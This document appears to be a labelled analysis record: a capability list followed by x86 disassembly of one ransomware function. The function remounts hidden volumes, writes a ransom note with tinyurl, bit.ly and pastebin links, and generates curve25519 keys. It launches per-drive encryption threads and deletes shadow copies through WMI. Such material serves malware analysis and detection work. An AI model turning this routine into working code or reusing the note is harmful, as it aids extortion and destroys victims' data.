Function at 0x406b60
Capabilities:
Connect to wmi namespace via wbemlocator
Create thread
Encrypt data using curve25519
Enumerate disk volumes
Generate random numbers via winapi
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x234
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x230], eax
push ebx
push esi
push edi
call fcn.00402c30
push 0x68
lea eax, [esp + 0xb4]
mov dword [esp + 0x4c], 0x417de0
push 0
push eax
mov dword [esp + 0x58], 0x417de8
mov dword [esp + 0x5c], 0x417df0
mov dword [esp + 0x60], 0x417df8
mov dword [esp + 0x64], 0x417e00
mov dword [esp + 0x68], 0x417e08
mov dword [esp + 0x6c], 0x417e10
mov dword [esp + 0x70], 0x417e18
mov dword [esp + 0x74], 0x417e20
mov dword [esp + 0x78], 0x417e28
mov dword [esp + 0x7c], 0x417e30
mov dword [esp + 0x80], 0x417e38
mov dword [esp + 0x84], 0x417e40
mov dword [esp + 0x88], 0x417e48
mov dword [esp + 0x8c], 0x417e50
mov dword [esp + 0x90], 0x417e58
mov dword [esp + 0x94], 0x417e60
mov dword [esp + 0x98], 0x417e68
mov dword [esp + 0x9c], 0x417e70
mov dword [esp + 0xa0], 0x417e78
mov dword [esp + 0xa4], 0x417e80
mov dword [esp + 0xa8], 0x417e88
mov dword [esp + 0xac], 0x417e90
mov dword [esp + 0xb0], 0x417e98
mov dword [esp + 0xb4], 0x417ea0
mov dword [esp + 0xb8], 0x417ea8
call fcn.00408820
xor esi, esi
add esp, 0xc
mov dword [esp + 0x24], esi
xor edi, edi
nop dword [eax + eax]
mov ebx, dword [esp + edi*4 + 0x48]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x406cb8
mov dword [esp + esi*4 + 0xb0], ebx
inc esi
inc edi
cmp edi, 0x1a
jl 0x406ca0
push 0x10000
call fcn.0040947b
mov edi, eax
add esp, 4
test edi, edi
je 0x406d65
push 0x10000
call fcn.0040947b
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
je 0x406d5c
push 0x8000
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, eax
test esi, esi
je 0x406d49
lea eax, [esp + 0x24]
push eax
push 0x78
lea eax, [esp + 0x150]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x406d29
lea eax, [esp + 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
je 0x406d38
dec esi
push edi
push dword [esp + esi*4 + 0xb4]
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x7fff
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x406cf8
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push dword [esp + 0x1c]
call fcn.00409460
add esp, 4
push edi
call fcn.00409460
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0x124], 0
nop dword [eax + eax]
call edi
xor edx, edx
mov ecx, 0x1a
div ecx
push 0x3f2
add dl, 0x41
mov byte [esp + esi + 0x120], dl
call ebx
inc esi
cmp esi, 8
jl 0x406d80
lea eax, [esp + 0x11c]
push eax
push str.Attention___r_n_r_nAll_your_files_are_encrypted__r_n_r_nIf_you_want_to_buy_a_decryptor:__r_n_r_nclick_here:_r_nhttps:__tinyurl.com_2s3b6mbb__r_nor_r_nhttps:__bit.ly_4cb3OaQ__r_nor_r_nhttps:__pastebin.com_raw_vrSCH5uF__r_n
push 0x41b440
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x24]
push 0xf0000040
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x406ddb
mov eax, dword [esp + 0x24]
mov dword [0x41b9ec], eax
xorps xmm0, xmm0
mov byte [esp + 0x28], 9
movq qword [esp + 0x39], xmm0
mov dword [esp + 0x41], 0
mov word [esp + 0x45], 0
mov byte [esp + 0x47], 0
movups xmmword [esp + 0x29], xmm0
test eax, eax
je 0x406e1c
lea ecx, [esp + 0x128]
push ecx
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov al, byte [esp + 0x147]
lea edx, [esp + 0x128]
and byte [esp + 0x128], 0xf8
and al, 0x3f
or al, 0x40
mov ecx, 0x41b9f0
mov byte [esp + 0x147], al
lea eax, [esp + 0x28]
push eax
call fcn.00406350
add esp, 4
lea edx, [esp + 0x128]
mov ecx, 0x41ba10
push 0x41a8c0
call fcn.00406350
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
add esp, 4
mov dword [0x41b9d0], 0
mov dword [0x41b510], 0
mov dword [0x41b9c8], 0
push 0
push 0x12c
push 0x12c
push 0
call esi
push 0
push 0x12c
push 0
push 0
mov dword [0x41b514], eax
call esi
push 0x41b9d4
mov dword [0x41b9cc], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
mov dword [esp + 0x28], 0
push esi
push esi
push esi
push fcn.00407570
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edi, eax
test edi, edi
je 0x406ef2
push 0xf
push edi
call ebx
mov dword [esp + 0x28], edi
mov esi, 1
mov edi, 0xc
push 0xf
push 0
push 0
push 0
push 0x4078b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebx
sub edi, 1
jne 0x406ef7
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, 0x41
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0x41
mov dword [esp + 0x18], 0x1a
lea edx, [ecx - 0x27]
test al, 1
je 0x407038
cmp esi, 4
jne 0x406f73
push 0xffffffffffffffff
push 1
lea eax, [esp + 0x30]
push eax
push esi
call edi
xor esi, esi
nop
push dword [esp + esi*4 + 0x28]
call ebx
inc esi
cmp esi, 4
jb 0x406f60
xor esi, esi
jmp 0x40702c
push 0x10000
call fcn.0040947b
mov edi, eax
add esp, 4
test edi, edi
je 0x407026
push dword [esp + 0x14]
push str.__c:
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 4
je 0x406fb0
push 0
push 0
push edi
jmp 0x407003
push 0xa0
mov dword [esp + 0x20], 0x50
call fcn.0040947b
add esp, 4
mov dword [esp + 0x20], eax
test eax, eax
je 0x407026
mov ecx, dword [esp + 0x1c]
add ecx, ecx
push ecx
push 0
push eax
call fcn.00408820
add esp, 0xc
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x24]
lea eax, [edi + 8]
push eax
call dword [sym.imp.MPR.dll_WNetGetConnectionW]
push edi
call fcn.00409460
add esp, 4
push 0
push 0
push dword [esp + 0x28]
push fcn.00407350
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
je 0x407026
push 0xf
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [esp + esi*4 + 0x28], edi
inc esi
mov edi, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
shr eax, 1
inc ecx
sub edx, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
jne 0x406f44
test esi, esi
je 0x407071
push 0xffffffffffffffff
push 1
lea eax, [esp + 0x30]
push eax
push esi
call edi
xor edi, edi
test esi, esi
je 0x407071
push dword [esp + edi*4 + 0x28]
call ebx
inc edi
cmp edi, esi
jb 0x407066
cmp dword [0x41b9c8], 0
je 0x407090
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call esi
cmp dword [0x41b9c8], 0
jne 0x407080
push 0x41b9d4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [0x41b9cc]
call ebx
push dword [0x41b514]
call ebx
mov eax, dword [0x41b9ec]
test eax, eax
je 0x4070bd
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov esi, dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [esp + 0x10]
push eax
push 0x413260
push 1
push 0
push 0x413240
call esi
test eax, eax
js 0x407328
push str.IsWow64Process
push str.kernel32.dll
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ebx, eax
test ebx, ebx
je 0x40711d
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
test eax, eax
je 0x40715e
cmp dword [esp + 0x1c], 0
je 0x40715e
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, 3
mov dword [esp + 0x30], 0x40
mov word [esp + 0x28], ax
lea edx, [esp + 0x28]
mov eax, dword [esp + 0x10]
push edx
push 0
push str.__ProviderArchitecture
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
lea eax, [esp + 0x28]
push eax
call edi
lea eax, [esp + 0x24]
push eax
push 0x413250
push 0x4401
push 0
push 0x413230
call esi
test eax, eax
js 0x40731e
mov ecx, dword [esp + 0x24]
test ecx, ecx
je 0x40731e
mov eax, dword [ecx]
lea edx, [esp + 0x14]
push edx
push dword [esp + 0x14]
push 0
push 0
push 0
push 0
push 0
push str.ROOTcimv2
push ecx
call dword [eax + 0xc]
test eax, eax
js 0x407314
mov eax, dword [esp + 0x14]
test eax, eax
je 0x407314
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push eax
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x40730a
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x20]
push edx
push 0
push 0x30
push str.select__from_Win32_ShadowCopy
mov dword [esp + 0x30], 0
mov ecx, dword [eax]
push 0x417fb4
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40730a
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x20]
mov dword [esp + 0x1c], 0
push edx
mov ecx, dword [eax]
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [esp + 0x18], 0
je 0x40730a
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop word [eax + eax]
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x28]
push 0
push 0
push edx
mov ecx, dword [eax]
push 0
push 0x417fbc
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x4072ce
cmp word [esp + 0x28], 8
jne 0x4072ce
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x34]
push eax
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [esp + 0x30]
mov esi, eax
push ecx
push str.Win32_ShadowCopy.ID_s
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0x1a
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
test esi, esi
je 0x4072c7
mov eax, dword [esp + 0x14]
push 0
push dword [esp + 0x14]
mov ecx, dword [eax]
push 0
push esi
push eax
call dword [ecx + 0x40]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [esp + 0x28]
push eax
call edi
mov eax, dword [esp + 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [esp + 0x28]
push eax
call edi
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x20]
mov dword [esp + 0x1c], 0
push edx
mov ecx, dword [eax]
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [esp + 0x18], 0
jne 0x407240
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [esp + 0x23c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004079bd
mov esp, ebp
pop ebp
ret 0x10